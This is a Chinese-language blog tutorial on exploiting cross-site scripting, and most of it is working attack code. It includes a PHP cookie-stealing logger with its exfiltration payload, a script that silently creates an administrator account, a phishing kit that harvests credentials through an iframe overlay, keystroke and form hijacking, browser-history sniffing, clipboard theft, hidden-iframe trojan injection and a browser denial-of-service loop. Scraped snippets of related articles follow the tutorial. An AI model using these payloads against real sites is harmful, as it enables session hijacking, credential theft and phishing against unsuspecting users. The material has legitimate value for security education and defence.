xss漏洞利用

一、跨站获取cookie

1,hacker端(hacker.php)的程序如下:

<?php
$cookie=$_GET[‘cookie‘];
$file=fopen("cookie.txt","a");
fwrite($file,$cookie);
fclose($file)
?>

2,受害者端(victim.php)的程序如下:
<html>
<head>
<title>xss跨站原理复现</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit" value="提交">
</form>

<?php
[email protected]$_GET[‘xss_input‘];
echo ‘你输入的字符为<br>‘.$xss;
?>

</body>
</html>

3,hacker发给victim的payload语句如下:
http://localhost/victim.php?xss_input=<script>document.location="http://localhost/hacker.php?cookie="+document.cookie</script>
ps:第一次用的事件不是document.location,选择的是window.open事件,But,没有成功。更换浏览器也不照。

4,当victim点击hacker发送的链接后,Victim主机的cookie就被写入到hacker的cookie.txt文档中了,cookie信息也就因此丢失了,那么hacker久可以利用这个cookie信息针对victim做bulabula....

二、会话劫持
xss会话劫持就是攻击者利用xss劫持了用户的会话去执行某些恶意操作。

1,XSS实现权限提升
前提一:抓取到被攻击者添加管理员账号信息时的请求信息,包括请求的URL地址和POST的数据。
前提二:拥有被攻击主机中的cookie信息

xss shellcode如下:

var request=false;
if(window.XMLHttpRequest) {
        request=new XMLHttpRequest();
        if(request.overrideMimeType) {
                request.oveerideMimeType(‘text/xml‘);
        }
}
else if(window.ActiveXObject){
var versions=[‘Microsoft.XMLHTTP‘,‘MSXML.XMLHTTP‘,‘Microsoft.XMLHTTP‘,‘Msxml2.XMLHTTP.7.0‘,‘Msxml2.XMLHTTP.6.0‘,
‘Msxml2.XMLHTTP.5.0‘,‘Msxml2.XMLHTTP.4.0‘,‘MSXML2.XMLHTTP.3.0‘,‘MSXML2.XMLHTTP‘];
for(var i=0;i<version.length;i++){
try{
request=new ActiveXObject(versions);
} catch(e) {}
}}
xmlhttp=request;

add_admin();
function add_admin(){
var url="/admin/AdminUser/adminUser_Add.asp";                        //请求地址
var params="UserName=xss123&password1=123456&password2=123456Purview=%B9%DC%C0%ED%D4%B1&Submit=%CC%E1%BD%BB";        //提交的数据。这里的user和password均是要添加的信息
xmlhttp.open("POST",url,true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length",params.length);
xmlhttp.setRequestHeader("Connection","close";)
xmlhttp.send(params);
}

三、XSS钓鱼

思路:
针对正常的页面(normal.php)进行伪造钓鱼页面(evil.php)--->创建收集受害者信息的脚步文件(get.php)--->寻找存在漏洞的网站(bug.php)--->根据漏洞情况制作框架文件(xss.js)链接(exploit),发送给受害者--->等待受害者点击,获取信息

具体步骤&代码如下:

1,正常的页面如下:
<form method="post" action="http://www.baidu.com/">//简单点,点击登录直接扔给百度
<input type="text" name="username" value="Tason" /><br />
<input type="password" name="password" value="[email protected]" /><br />
<input type="submit" name="logon"  value="Submit" />
</form>

2,钓鱼页面,可以直接从真实网站复制过来。

伪造的页面如下:
<form method="post" action="http://localhost/phishing/get.php">     //get.php为hacker端接收s受害者信息的页面
<input type="text" name="username" value="Tason" /><br/>
<input type="password" name="password" value="[email protected]" /><br />
<input type="submit" name="logon" value="Submit"/>
</form>

3,记录信息的脚本文件 get.php 内容如下:
<?php
$data=fopen("logfile.txt","a+");//注:logfile文件必须事先创建好
$login=$_POST[‘username‘];
$pass=$_POST[‘password‘];
fwrite($data,"Username:$login\n");
fwrite($data,"Password:$pass\n");
fclose($data);
Header("location:http://www.baidu.com");                                    //信息收集完毕跳转到正常页面
?>

4,存在漏洞的网站bug.php代码内容如下:
<?php
[email protected]$_GET[‘s‘];
echo "<br>";
echo $s1;
?>

5,xss.js文件的作用是创建一个iframe框架覆盖目标页面,再加载远程域伪造的钓鱼页面,内容如下:
document.body.innerHTML=(
‘<div style="position:absolute; top:0px; left:0px; width:100%; height:100%;">‘+
‘<iframe src=http://localhost/phishing/evil.php width=100% height=100%>‘+
‘</iframe></div>‘
);

6,xss钓鱼exploit如下:
http://localhost/phishing/bug.php?s=<script src=http://localhost/phishing/xss.js></script>//bug.php为存在漏洞的网站

7,等待收网

xss钓鱼的方式:
1,xss重定向钓鱼
即把当前页面重定向到钓鱼网站上:
http://localhost/phishing/bug.php?s=<script src=http://localhost/phishing/xss.js></script>

2,html注入式钓鱼
即把钓鱼网站的页面直接加载到链接中:
http://localhost/phishing/bug.php?s=
<html><head><title>login</title></head>
<body><form method="post" action="http://localhost/phishing/get.php">
<input type="text" name="username" value="Tason" /><br/>
<input type="password" name="password" value="[email protected]" /><br />
<input type="submit" name="logon" value="Submit"/>
</form></body></html>

3,XSS跨框架钓鱼
即通过<iframe>标签嵌入远程域的页面实施钓鱼
http://localhost/phishing/bug.php?s=<iframe src=http://localhost/phishing/xss.js></iframe>

4,flash钓鱼
攻击者把精心构造的flash文件上传到远程服务器,然后在目标网站上使用<object><embed>标签去引用flash即可

Tips:
1,劫持链接的onclick事件
for (i=0;i<document.links.length;i++){
document.links.onclick=hijack;
}

2,监听键盘的onkeydown事件
document.onkeydown=function(e){
if(!e) e=window.event;
try{hijack();} catch(ex){}
}

3,劫持表单的输入框
document.onkeyup=function(){
document.forms[‘PassFormlogin‘].onsubmit=function(){
pwd=this.PassInputUsername0.value + ‘|‘ + this.PassInputPassword0.value;
log(escape(pwd));
}}

四,xss history hack
利用css能定义和控制链接样式的特性,能够获取用户浏览器的某些历史记录,甚至是在搜索引擎输入的查询字符
1,链接样式和getComputedStyle()
css中4个伪类用来定义链接的样式,分别是:
a:link未访问的
a:visited  已访问的
a:active激活的,被选择的链接
a:hover光标悬停在其上的链接

新建HTML样例:
<style type="text/css">
a:link{color:blue}
a:visited{color:red}
a:hover{color:yellow}
</style>
<a href="http://www.google.com" id="x">google</a></br>
<a href="http://www.baidu.com" id="x">baidu</a></br>
<a href="http://weibo.com" id="x">weibo</a></br>
<a href="http://qq.com" id="x">qq</a></br>
<a href="http://www.163.com" id="x">163</a>

利用getComputedStyle()来实现侦查某一个人是否访问过一个任意的url。

2,JavaScript/CSS history hack
<html>
<body>
<H3>Visited</H3>
<ul id="visited"></ul>
<H3>Not Visited</H3>
<ul id="notvisited"></ul>
<script>
var   websites=[
"http://www.baidu.com/",
"http://www.zhibo8.cc/",
"http://51cto.com/",
"http://www.sina.com/",
"http://weibo.com/",
"http://www.playsec.com/",
];
for(var i=0;i<websites.length;i++){
var link=document.createElement("a");
    link.id="id"+i;
     link.href=websites;
     link.innerHTML=websites;
     document.write(‘<style>‘);
    document.write(‘#id‘ +i + ":visited {color: #FF0000;}");
     document.write(‘</style>‘);
     document.body.appendChild(link);
    var   color=document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
     document.body.removeChild(link);
if (color == "rgb(255,0,0)"){
     var  item=document.createElement(‘li‘);
     item.appendChild(link);
document.getElementById(‘visited‘).appendChild(item);
}  else{
       var   item =document.createElement(‘li‘);
         item.appendChild(link);
         document.getElementById(‘notvisited‘).appendChild(item);
}
}
</script>
</body>
</html>

3,窃取搜索查询
目的是为了收集用户感兴趣的话题,利用这些信息实施网络钓鱼、社会工程学攻击

五,客户端信息探测
1,JavaScript实现端口扫描
ps:个人觉得可以用其他更好的扫描工具,比如nmap

2,截获剪切板内容
通过嵌入网页的JavaScript代码劫持客户端的剪切板,从而获取重要信息
JavaScript中主要使用window.clipboardData对象处理剪切板的内容,有以下三种方法:
clearData(sDataFormat)       //删除剪贴板中指定格式的数据
getData(sDataFormat)          //从剪贴板获取指定格式的数据
setData(sDataFormat,sData) //给剪贴板赋予指定格式的数据

poc如下:
<form id="test" action="test.php" method="post">
  <div  id="someData">
     <textarea  rows="4"  cols="40"  name="test">
</textarea>
  </div>
<input type="button" value="复制到剪贴板">
<input type="button" value="查看剪贴板内容"  onclick="readClipboard()">
<input type="button" value="清除">
</form>
<script>
function  readClipboard(){
          alert(window.clipboardData.getData(‘Text‘));
}
function  setClipboard(){
          var  t=document.getElementById("someData").innerText;
        window.clipboardData.setData(‘text‘,t);
}
</script>

ps:IE浏览器测试成功

3,获取客户端IP地址
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=gb2312">
<title>JavaScript获取客户端IP</title>
</head>
<body>
function GetLocalIPAddress()
{
      var   obj = null;
      var   rslt = "";
     try{
          obj = new ActiveXObject("rcbdyctl.Setting");
          rslt =obj.GetIPAddress;
          obj = null;
}
      catch(e){}
      return  rslt;
}
document.write("你的IP是: "+ GetLocalIPAdress());
</script>
</body>
</html>

六,网页挂马
实现方式一般都是通过篡改网页来实现,例如在xss攻击中使用<iframe>标签,代码如下:
<iframe src=http://localhost/trojan.html width=0 height=0></iframe>
还可以利用JavaScript脚本动态创建窗口并调用网页木马
<script>
document.write("<iframe src=http://localhost/trojan.html width=0 height=0></iframe>")
</script>

七,DOS和DDOS
通过注入而已的JavaScript脚本代码,引起dos攻击,目标是受害人的浏览器,代码如下
<script>for (;;) alert("xss");</script>
保存为html文件发给客户或者通过漏洞调用
http://localhost/victiom.php?s=<script>for(;;)alert("xss");</script>

ps: <meta http-equiv="refresh" content="0">   会强迫受害者不断的刷新当前页面

八,xss virus/worm
xss virus/worm类似于个人计算机平台上的病毒程序,有潜伏、后门的特性,可以用于盗号、窃取用户隐私信息,主要在客户端执行恶意攻击,类似蠕虫般具有自我复制能力的攻击形态。
例如:samy xss worm攻击事件。当时samy在自己的空间的个人简介处植入一段JavaScript代码,每个查看他简介的人会在不知觉间执行这段代码,加samy为好友,然后蠕虫打开受害者的个人简介,写入恶意JavaScript代码,进而任何查看该受害者个人简介的人也会被感染。

最后:有些情况没有测试案例,后续在学习的过程中会继续补充。
Tips:学习&分享

时间: 2024-10-14 11:34:49

xss漏洞利用的相关文章

XSS漏洞实例利用

上一篇说了一下XSS的原理,相信大家对XSS的原理有了一定的了解.今天给大家分享一下XSS漏洞的实例利用. 环境: window 7 64位一台 火狐浏览器就位 外网云服务器一枚(我自己买的...) 可XSS网站一匹 获取Cookie的JS代码一套 好了,以上就是需要准备的东西,没有的外网云服务器(外网IP)的可以百度一下XSS利用的公开平台,自己研究下怎么用(我的服务器就不公开了,太渣了,只是用来做实验没法公开...) 现在我们开始一步一步的进行XSS漏洞利用 0x00  ....biubiu

CORS漏洞利用检测和利用方式

CORS全称Cross-Origin Resource Sharing, 跨域资源共享,是HTML5的一个新特性,已被所有浏览器支持,不同于古老的jsonp只能get请求. 检测方式: 1.curl访问网站 curl https://www.huasec.com -H "Origin: https://test.com" -I 检查返回包的 Access-Control-Allow-Origin 字段是否为https://test.com 2.burpsuite发送请求包,查看返回包

XSS - 漏洞

我需要的爱就在我的心里,其他人只是让我记得那份早已存在于内心的爱,一个去谈恋爱的人就像一个水槽里面有水,这个水就是你爱自己的程度,我爱你是因为我跟你在一起我的样子,就是你把我激发起来你让我变得更好了,但是前提是我也很爱我自己 真相不重要,结果是怎样才最重要.死不死不是别人说了算的,要看你自己愿不愿意.-----大上海2012 跨站脚本漏洞概述: 跨站脚本漏洞类型及测试流程: 1.在目标站点上找到输入点,比如查询接口,留言板等: 2.输入一组 特殊字符 + 唯一识别字符,点击提交后,查看返回得源码

利用窗口引用漏洞和XSS漏洞实现浏览器劫持

==Ph4nt0m Security Team==                        Issue 0x03, Phile #0x05 of 0x07 |=---------------------------------------------------------------------------=||=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=||=---------------------------

看好你的门-XSS攻击(1)-利用反射型XSS漏洞 山寨红客插红旗

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考. 1. 反射型XSS漏洞 如果一个应用程序使用动态页面向用户显示错误消息,如果系统没有对用户输入的内容进行过滤和处理,就会造成一种常见的XSS漏洞. 提取用户提交的输入并将其插入到服务器响应的HTML代码中,这是XSS漏洞的一个明显特征:如果应用程序没有实施任何过滤或净化措施,那么它很容易受到攻击. 2. 前提和准备 现在很多的浏览器默认有一些防止XSS漏洞或者攻击的功能,推荐用IE浏览器做X

LFI漏洞利用总结

主要涉及到的函数 include(),require().include_once(),require_once() magic_quotes_gpc().allow_url_fopen().allow_url_include().move_uploaded_file() .readfile() file().and file_get_contents().upload_tmp_dir().post_max_size().and max_input_time()等 典型漏洞代码: <!–?php

XSS漏洞

跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息 坚决不要相信任何用户输入并过滤所有特殊字符.这样既可消灭绝大部分的XSS攻击.另一个建议是输出页面时将 < 和 > 变换成 < 和 >.要记住,XSS漏洞极具破坏性,一旦被利用,它会给你的事业带来极大的损害.攻击者会将这些漏洞公之于众,这会在用户隐私的问题上大大降低你的 网站的用户信赖度.当然,仅仅将 ( 和 ) 变换成 < 和 > 是不够的,最好将 ( 和 ) 变换成 ( 和 ),# 和 & 变

WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门参考大量前辈们的心得,小小的总结一下,欢迎大家拍砖啊 一.跨站脚本攻击(XSS) 跨站脚本攻击的原理 XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时

XSS攻击:SOHU视频XSS漏洞导致其用户成为DDOS肉鸡

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的. from:http://www.incapsula.com/blog/world-largest-site-xss-ddos-zombies.html incapsula发现其一个客户遭受了应用层的DDos攻击. 大概有22000的互联网用户对其网站发起了2000万的GET请求.